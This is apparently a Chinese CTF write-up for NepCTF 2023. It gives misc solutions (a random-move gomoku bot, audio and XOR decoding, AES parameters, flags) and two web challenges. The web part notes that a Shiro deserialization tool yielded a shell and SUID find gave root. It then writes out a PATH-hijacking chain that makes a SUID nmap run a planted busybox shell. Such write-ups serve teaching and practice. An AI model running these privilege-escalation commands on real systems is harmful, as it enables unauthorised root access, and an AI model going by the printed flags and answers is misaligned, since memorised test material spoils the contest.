Misc
codes
抄https://blog.csdn.net/aspnet_lyc/article/details/20548767
#include <stdio.h>
int main(int argc, char** argv, char** arge)
{
while(*arge)
{
printf("%s\n", *arge++);
}
return 0;
}
与AI共舞的哈夫曼
copilot秒了
ConnectedFive
万宁五子棋,手动下了一会感觉手动也行,但是还是写个脚本,由于没有什么规律,直接random下棋了,乐
from pwn import *
import random
r = remote('nepctf.1cepeak.cn', 31762)
def getboard():
board = []
for i in range(15):
data = r.recvline().decode()[3:].replace('[', ' ').replace(']', ' ').strip()
data = data.split(' ')
board.append(data)
return board
table = 'abcdefghijklmno'
while True:
r.recvline()
r.recvline()
r.recvline()
r.recvline()
res = r.recvline().decode()
if(int(res.split(':')[0]) >= 38):
r.interactive()
print(res)
r.recvline()
r.recvline()
board = getboard()
random_x = random.randint(0, 14)
random_y = random.randint(0, 14)
while board[random_y][random_x] != '.':
random_x = random.randint(0, 14)
random_y = random.randint(0, 14)
pos = table[random_x] + table[random_y]
r.recvline()
r.sendline(pos)
r.recvline()
跑了很多次发现打赢概率挺高,就是跑的过程中容易开头就卡死,懒得优化了,开头不卡死后面基本没问题
陌生的语言
直接照着抄
https://ay.medyotan.ga/upload/lwa_moonrunes.png
https://fonts2u.com/dinotopian.font
NepCTF{NEPNEP_A_BELIEVING_HEART_IS_YOUR_MAGIC}
小叮弹钢琴
audacity打开然后缩小横着看
前面是莫斯后面是16进制
前:youshouldusethistoxorsomething
后:0x370a05303c290e045005031c2b1858473a5f052117032c39230f005d1e17
直接xor
你也喜欢三月七么
题目描述比较重要
三月七:耶,终于来到Nepnep星球啦,让我看看正在火热进行的Hacker夺旗大赛群聊。啊!开拓者,这群名看起来怪怪的诶。 (伸出脑袋,凑近群名,轻轻的闻了一下)哇,好咸诶,开拓者你快来看看!
开拓者(U_id):(端着下巴,磨蹭了一下,眼神若有所思)这好像需要经过啥256处理一下才能得到我们需要的关键。
得到两个消息,一是群名是salt,二是群名sha256之后就是key
就可以还原所有参数(key取sha256之后前16位
salt = NepCTF2023
key = dd8e671df3882c5be6423cd030bd7cb6
iv= 88219bdee9c396eca3c637c0ea436058
ciphertext= b700ae6d0cc979a4401f3dd440bf9703b292b57b6a16b79ade01af58025707fbc29941105d7f50f2657cf7eac735a800ecccdfd42bf6c6ce3b00c8734bf500c819e99e074f481dbece626ccc2f6e0562a81fe84e5dd9750f5a0bb7c20460577547d3255ba636402d6db8777e0c5a429d07a821bf7f9e0186e591dfcfb3bfedfc
直接解密
图片里面就是星铁的文字,直接照着抄就行了
NepCTF{HRP_always_likes_March_7th}
lic
拖进audacity放大简单观察一手,发现大概有这三种序列分别是长度为57的、长度为22的和长度为44的
其中57的只在开头出现另外两种随机出现
小溜一手gpt
import wave
import numpy as np
def demodulate_pcm(filename):
# 打开WAV文件
with wave.open(filename, 'rb') as wav_file:
# 获取音频参数
channels = wav_file.getnchannels()
sample_width = wav_file.getsampwidth()
sample_rate = wav_file.getframerate()
num_frames = wav_file.getnframes()
# 读取音频数据
audio_data = wav_file.readframes(num_frames)
# 将二进制数据转换为numpy数组
audio_np = np.frombuffer(audio_data, dtype=np.int16)
# 解调PCM数据
demodulated_data = audio_np.flatten()
# 缩放解调数据
demodulated_data = demodulated_data / (2 ** (sample_width * 8 - 1))
return demodulated_data, sample_rate
filename = 'lic.wav' # 替换为您的WAV文件路径
demodulated_data, sample_rate = demodulate_pcm(filename)
for i in demodulated_data:
print(round(i),end='')
简单手动处理一下,把-1换2
然后把很多个0换成1个0,并且以这个0为界限分出前后两部分
然后对前一部分进行手动替换
222222222222222222222222222211111111111111111111111111111 --> 6
22222222222222222222221111111111111111111111 --> 0
222222222211111111111 --> 3
3 --> 1
然后手动把多余的2去了
然后16个一组画图,这时候画出来的图有一定的偏移,开头再添加5个6画的就很好了
f = open('3.txt').read()
for i in range(0, len(f), 16):
print(f[i:i+16][::-1])
大概这样
Ez_BASIC_II
在线工具直接转换
https://www.my-trs-80.com/cassette/
拿到BASIC程序
手动提取出所有数字
然后放进cyberchef
这时候就比较明显了
直接从里面复制出来再提纯
res = '''
.........
... °°...
..º...½..
..¿......
..«´°°...
.........
.........
.. .°°...
..ª...½..
..ª...¿..
..ªµ°¸...
..ª......
....°°...
..¨......
..¿......
..¿......
...½°°¸..
.........
..°°°°°..
....¿....
....¿....
....¿....
.........
'''
res = res.split('\n')
for i in res:
for j in range(len(i)):
if(i[j] != '.'):
print('A',end='')
continue
print(' ',end='')
print()
就稍微清楚一点了
CheckIn
直接交
问卷
直接填
Web
ez_java_checkin
抓包发现rememberme=deleteme,搜到是shiro的反序列化
工具直接打
拿到shell发现find有suid权限,直接提
独步天下-转生成为镜花水月中的王者
提示说是环境变量提权,同时可以搜到nmap有suid权限并且似乎会调用ports-alive这个东西
直接一套小连招提权
echo "/bin/busybox sh" > /tmp/ports-alive
chmod 777 /tmp/ports-alive
export PATH=/tmp
/bin/nmap 123